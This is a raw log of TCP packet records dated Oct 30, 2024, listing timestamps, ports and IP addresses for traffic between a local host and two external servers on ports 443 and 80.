Oct 30, 2024 05:24:16.264249086 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.264281988 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.264338017 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.264344931 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.264391899 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.264434099 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.264533043 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.264645100 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.264687061 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.264825106 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.264848948 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.265022993 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.265047073 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.265053034 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.265204906 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.265230894 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.265249014 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.265254974 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.265352964 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.265372992 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.265393019 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.265402079 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.265414953 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.265420914 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.265543938 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.265563965 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.265587091 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.265600920 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.265655041 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.265671968 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.265680075 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.274393082 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:18.781476974 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:18.781565905 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:18.781642914 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:18.781894922 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:18.781913042 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:18.808176994 CET	49754	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:18.808232069 CET	443	49754	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:18.808311939 CET	49754	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:18.808630943 CET	49754	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:18.808648109 CET	443	49754	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:19.422508955 CET	443	49754	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:19.422640085 CET	49754	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:19.424077988 CET	49754	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:19.424088955 CET	443	49754	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:19.424334049 CET	443	49754	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:19.426023006 CET	49754	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:19.426057100 CET	49754	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:19.426090002 CET	443	49754	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:19.878777981 CET	443	49754	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:19.878874063 CET	443	49754	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:19.878979921 CET	49754	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:19.879138947 CET	49754	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:19.879157066 CET	443	49754	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:19.879173040 CET	49754	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:19.879179955 CET	443	49754	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:19.883038044 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:19.888501883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:19.888590097 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:19.888725042 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:19.894109011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.819322109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.819394112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.819403887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.819439888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.819447994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.819461107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.819483042 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.819516897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.819528103 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.819550037 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.819688082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.819700003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.819711924 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.819725037 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.819756985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.824779034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.824791908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.824805021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.824829102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.873372078 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.982944965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.983011961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.983062983 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.983243942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.983256102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.983295918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.983303070 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.983308077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.983345985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.983735085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.983747959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.983757019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.983793020 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.984169006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.984179974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.984189987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.984215975 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.984220982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.984234095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:20.984245062 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:20.984281063 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.103157043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.103190899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.103204966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.103224039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.103236914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.103277922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.103337049 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.103707075 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.103719950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.103732109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.103744030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.103754997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.103760004 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.103781939 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.103802919 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.104444027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.146764040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.146775961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.146785975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.146816015 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.146867037 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.221750021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.221765041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.221776009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.221852064 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.222280979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.222342014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.222367048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.222397089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.222441912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.222444057 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.222454071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.222465992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.222493887 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.222991943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.223002911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.223011971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.223042011 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.223088026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.269572020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.269663095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.269679070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.269753933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.269788027 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.269874096 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.340898037 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.340909958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.340960979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.340966940 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.340975046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.341015100 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.341430902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.341506004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.341516018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.341528893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.341541052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.341556072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.341583967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.341588974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.341623068 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.342114925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.342133999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.342144966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.342170000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.386744022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.386756897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.386774063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.386785984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.386796951 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.386838913 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.386940956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.386982918 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.387016058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.435903072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.460268974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.460297108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.460310936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.460369110 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.460660934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.460671902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.460715055 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.460777998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.460789919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.460802078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.460819960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.460825920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.460844994 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.461397886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.461409092 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.461419106 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.461441040 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.461464882 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.505868912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.505892038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.505909920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.505918980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.505960941 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.505986929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.546183109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.546243906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.546255112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.546266079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.546293020 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.546345949 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.579402924 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.579438925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.579494953 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.579747915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.579758883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.579798937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.579869986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.579881907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.579893112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.579916000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.579960108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.579998970 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.580471039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.580495119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.580507994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.580524921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.580535889 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.580537081 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.580557108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.623374939 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.625015020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.625025988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.625057936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.625081062 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.625118017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.625181913 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.665394068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.665421009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.665462971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.704251051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.704345942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.704385996 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.704408884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.704421997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.704432964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.704462051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.704699993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.704734087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.704750061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.704758883 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.704762936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.704776049 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.704790115 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.704829931 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.705485106 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.744187117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.744235992 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.744260073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.744268894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.744297028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.744318008 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.784605026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.784620047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.784630060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.784665108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.784684896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.817712069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.817728996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.817739964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.817778111 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.818337917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.818348885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.818372965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.818378925 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.818383932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.818406105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.818568945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.818586111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.818600893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.818624020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.818634987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.818650961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.818700075 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.819442987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.863329887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.863359928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.863373041 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.904112101 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.904128075 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.904140949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.904172897 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.904216051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.938201904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.938218117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.938230038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.938276052 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.938651085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.938684940 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.938779116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.938788891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.938800097 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.938810110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.938832045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.938862085 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.938922882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.939543962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.939554930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.939564943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.939575911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.939582109 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.939611912 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.940062046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.940073967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.940107107 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.940177917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.940190077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.940210104 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.982759953 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:21.983942986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.984090090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:21.984139919 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.023081064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.023111105 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.023121119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.023152113 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.056276083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.056292057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.056354046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.056631088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.056677103 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.056689978 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.056706905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.056725979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.056740999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.056751013 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.056787968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.057749987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.057784081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.057801008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.057813883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.057822943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:22.057825089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:22.057845116 CET	49760	80	192.168.2.6	185.215.113.16
